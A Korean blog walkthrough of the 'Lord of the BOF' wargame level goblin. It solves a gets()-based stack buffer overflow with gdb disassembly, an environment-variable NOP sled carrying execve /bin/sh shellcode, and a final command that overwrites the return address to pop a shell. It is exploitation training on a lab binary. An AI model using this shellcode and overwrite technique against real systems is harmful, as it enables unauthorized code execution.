728x90

cobolt / hacking exposed

/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

cobolt에선 argv[1]을 buffer에 복사했는데 이번엔 gets로 입력받는다.

[cobolt@localhost cobolt]$ gdb goblin2 -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x80483f8 <main>:	push   %ebp
0x80483f9 <main+1>:	mov    %ebp,%esp
0x80483fb <main+3>:	sub    %esp,16
0x80483fe <main+6>:	lea    %eax,[%ebp-16]  // buffer 주소 ebp-16
0x8048401 <main+9>:	push   %eax
0x8048402 <main+10>:	call   0x804830c <gets>
0x8048407 <main+15>:	add    %esp,4
0x804840a <main+18>:	lea    %eax,[%ebp-16]
0x804840d <main+21>:	push   %eax
0x804840e <main+22>:	push   0x8048470
0x8048413 <main+27>:	call   0x804833c <printf>
0x8048418 <main+32>:	add    %esp,8
0x804841b <main+35>:	leave  
0x804841c <main+36>:	ret    
0x804841d <main+37>:	nop    
0x804841e <main+38>:	nop    
0x804841f <main+39>:	nop

buffer가 gets 함수 인자로 들어가기에 ebp-16이 buffer의 주소임을 알 수 있다.

먼저 쉘 코드를 환경 변수로 등록한다.

16 bytes의 buffer+sfp (4 bytes)를 덮어쓰고 마지막으로 retn 주소(4 bytes)를 쉘 코드의 주소로 덮어쓴다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
	printf("%p\n",getenv("sh"));
}
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\x93\xfe\xff\xbf"';cat)|./goblin
AAAAAAAAAAAAAAAAAAAAþÿ¿
my-pass
euid = 503
hackers proof

최종 명령어 형식은 gets로 입력받는 형식이기에 argv[1]을 복사할 때와는 다르다. 문법이 궁금하다면 다음 글을 참고하자.

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
gate -> gremlin  (0) 2023.01.21

+ Recent posts